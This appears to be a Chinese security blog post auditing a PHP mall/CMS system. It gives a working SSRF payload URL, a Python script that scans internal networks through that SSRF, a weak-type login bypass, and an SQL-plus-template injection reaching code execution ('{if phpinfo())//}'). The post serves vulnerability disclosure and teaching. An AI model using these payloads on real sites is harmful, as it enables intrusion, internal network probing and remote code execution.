代码审计之某通用商城系统getshell过程

最近在整理自己代码审计的文档时,发现自己以前审了不少小cms的1day, 现在的话基本没啥用,所以打算慢慢发出来,分享一下自己在学习各种语言审计时的一些小思路, 希望能够帮助和我一样的萌新能够领略代码审计的魅力。

0x00 前言

最近在整理自己代码审计的文档时,发现自己以前审了不少小cms的1day, 现在的话基本没啥用,所以打算慢慢发出来,分享一下自己在学习各种语言审计时的一些小思路, 希望能够帮助和我一样的萌新能够领略代码审计的魅力。

下面的过程基本就是我当时审计的完整状态,所以我觉得萌新对自己可以有点信心,很多事情其实自己也可以做到的。

0x01 确定路由

wq2/wq2/framework/bootstrap.inc.php

$controller = $_GPC['c'];
$action = $_GPC['a'];
$do = $_GPC['do'];

加载模块

image-20200614115030584

image-20200614120451314

image-20200614120537572

跳转到控制器

image-20200614121915623

0x02 确定鉴权

这里我们可以通过定位user下的文件来确定

if (is_array($acl[$controller]['direct']) && in_array($action, $acl[$controller]['direct'])) {
    require _forward($controller, $action);
    exit();}
checklogin();

这里主要是通过acl进行判断,如果action在这个控制器的的direct数组下的的话,则不需要进行checklogin校验,否则则需要校验

简单回溯下:

$acl = require IA_ROOT . '/web/common/permission.inc.php';

image-20200622093731427

接下来我们可以分析下checklogin函数

function checklogin() {
    global $_W;
    if (empty($_W['uid'])) {
        if (!empty($_W['setting']['copyright']['showhomepage'])) {
            itoast('', url('account/welcome'), 'warning');
        } else {
            itoast('', url('user/login'), 'warning');
        }
    }
    return true;
}

可以看到主要是通过全局的$_W['uid']如果不为空,则验证通过。

image-20200622095240928

这里我们跟进下登录文件

web/source/user/login.ctrl.php

image-20200622114714695

$record是查询返回的结果,在user_single对用户和密码进行了校验

如果$record不为空,则可以登录

image-20200622115452956

还有几个设置$_W["uid"]的地方

image-20200622115833192

都是基于$session的值来判断的。

0x03 确定挖洞思路

1.挖不需要授权的direct之类的

'account' => array(
'default' => '',
'direct' => array(
'auth',
'welcome',
),

'article' => array(
'default' => '',
'direct' => array(
'notice-show',
'news-show',
),

'direct' => array(
'touch',
'dock',
),

'cron' => array(
'default' => '',
'direct' => array(
'entry',
),
'site' => array(
'default' => '',
'direct' => array(
'entry',
),

'user' => array(
'default' => 'display',
'direct' => array(
'login',
'register',
'logout',
'find-password',
'third-bind'
),

'utility' => array(
'default' => '',
'direct' => array(
'verifycode',
'code',
'file',
'bindcall',
'subscribe',
'wxcode',
'modules',
'link',
),

2.根据功能点来测试,观察整个流程是否有绕过的点。

3.测用户和后台权限的功能点(很多都不开放注册,鸡肋)

0x04 前台某处可回显SSRF

通过搜索关键字,确定了几个可能存在漏洞方法

ihttp_request
sendHttpRequest
SendCurl
send_request
send_http
send_http_synchronous

后面根据这些方法进行回溯系统流程:

image-20200614170556274

可控,但是在

image-20200622124542294

这里系统限制了只能使用http,https

image-20200614170608450

还有限制了一些内网ip的host,

image-20200622124615165

由于curl设置了跟随,可以header('Location: dict://lcoalhost:3306')绕过限制

image-20200622124829669

payload:

http://host/web/index.php?c=utility&a=wxcode&do=image&attach=http://127.0.1.13:80/

效果:

image-20200625105641759

可以用来探测服务,gopher、dict批量打redis等等

当时写的探测脚本:


#!/usr/bin/python3
# -*- coding:utf-8 -*-

import requests
import time
import threading, queue

# res = requests.get('target/web/index.php?c=utility&a=wxcode&do=image&attach=http://127.0.0.1:80/')
# print(res
# .content)
# 
myQueue = queue.Queue()
Lock = threading.Lock()
okList = []

def produce():
    for i in range(1,255):
        for j in range(1,254):
            ip =  '192.168.{a}.{b}'.format(a=i, b=j)
            # print("try ip:{ip}".format(ip=ip))
            url = 'http://target/web/index.php?c=utility&a=wxcode&do=image&attach=http://{ip}:80/'.format(ip=ip)
            myQueue.put(url)
    print("Load target Done!!!")

def work():
    while True:
        try:
            url = myQueue.get()
        except:
            if myQueue.empty():
                break
        print("try: {u}".format(u=url))
        try:
            res = requests.get(url, timeout=2)
            if res.status_code == 200:
                Lock.acquire()
                print("ok ip: {ip}".format(ip=ip))
                okList.append(ip)
                Lock.release()
        except Exception as e:
            print("[worker] error,e:{e}".format(e=e))

def main():
    produce()
    threadingNum = 50
    myThread = []
    for i in range(threadingNum):
        t = threading.Thread(target=work)
        myThread.append(t)
        t.start()
    for t in myThread:
        t.join()
    print("ok, work Done")
    print(okList)

if __name__ == '__main__':
    main()

0x05 绕过后台登录

这里主要是存在弱类型的问题,导致可以fuzz然后绕过后台登录。

image-20200624130743314

首先hash的加密规则:$record['hash'] = md5($record['password'] . $record['salt']);

image-20200624130432293

image-20200624130842639

image-20200624130448792

如果管理员密码的md5为数字开头

我们可以通过爆破开头的数字来进行绕过进入系统里面。
如admin888和password888
image-20200624130842639
image-20200624130842639

0x06 后台绕过getshell

这个点可能通杀所有版本吧

首先我们进入站点->数据库处执行语句:

UPDATE `ims_site_page` SET `uniacid` = '1' , `multiid` = '0' , `title` = '快捷菜单' , `description` = '' , `status` = '0' , `type` = '2' , `params` = '1' , `html` = '{if phpinfo())//}' , `createtime` = '1593049546' WHERE `id` = '1'

然后访问:

/app/index.php?i=1&c=home&a=page&id=1

image-20200625103249758

分析成因:

跟进: app/source/home/page.ctrl.php

if($do == 'getnum'){
........
} else {
    $footer_off = true;
    template_page($id);  // 跟进这里
}

image-20200625103611300

$page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);

这里可以看到进行了一些过滤,基本扼杀了我们的想法,我们继续跟下去

image-20200625104658820

可以看到$content进入了template_parse

出来之后,直接写入了模板文件中。

我们跟进template_parse

image-20200625104906947

可以发现模板为了解析标签,主动为我们补了个<?php那可真的是太好了。

这里我选这个点来分析:

$str = preg_replace('/{if\s+(.+?)}/', '<?php if($1) { ?>', $str);

这里的意思就是

将除了空格的内容放到$1

{if phpinfo())//} =><?php if(phpinfo())//) { ?>

这里我们可以利用php的//注释特性来闭合错误,其实还有很多方法来闭合错误。

最后在

image-20200625105249791

直接include了模板,成功getshell。

0x07 总结

非常简单的的一个漏洞组合链实现getshell,我觉得审计的话, 还是需要一些系统地思路,比如我就喜欢先确定路由->确定鉴权->前台漏洞挖掘->后台漏洞挖掘这种思路,但是对于不太熟悉的语言,我会使用关键字的方法, 期待能继续与你们分享。

  • 发表于 2021-04-07 20:13:19
  • 阅读 ( 7817 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
带头大哥
带头大哥

50 篇文章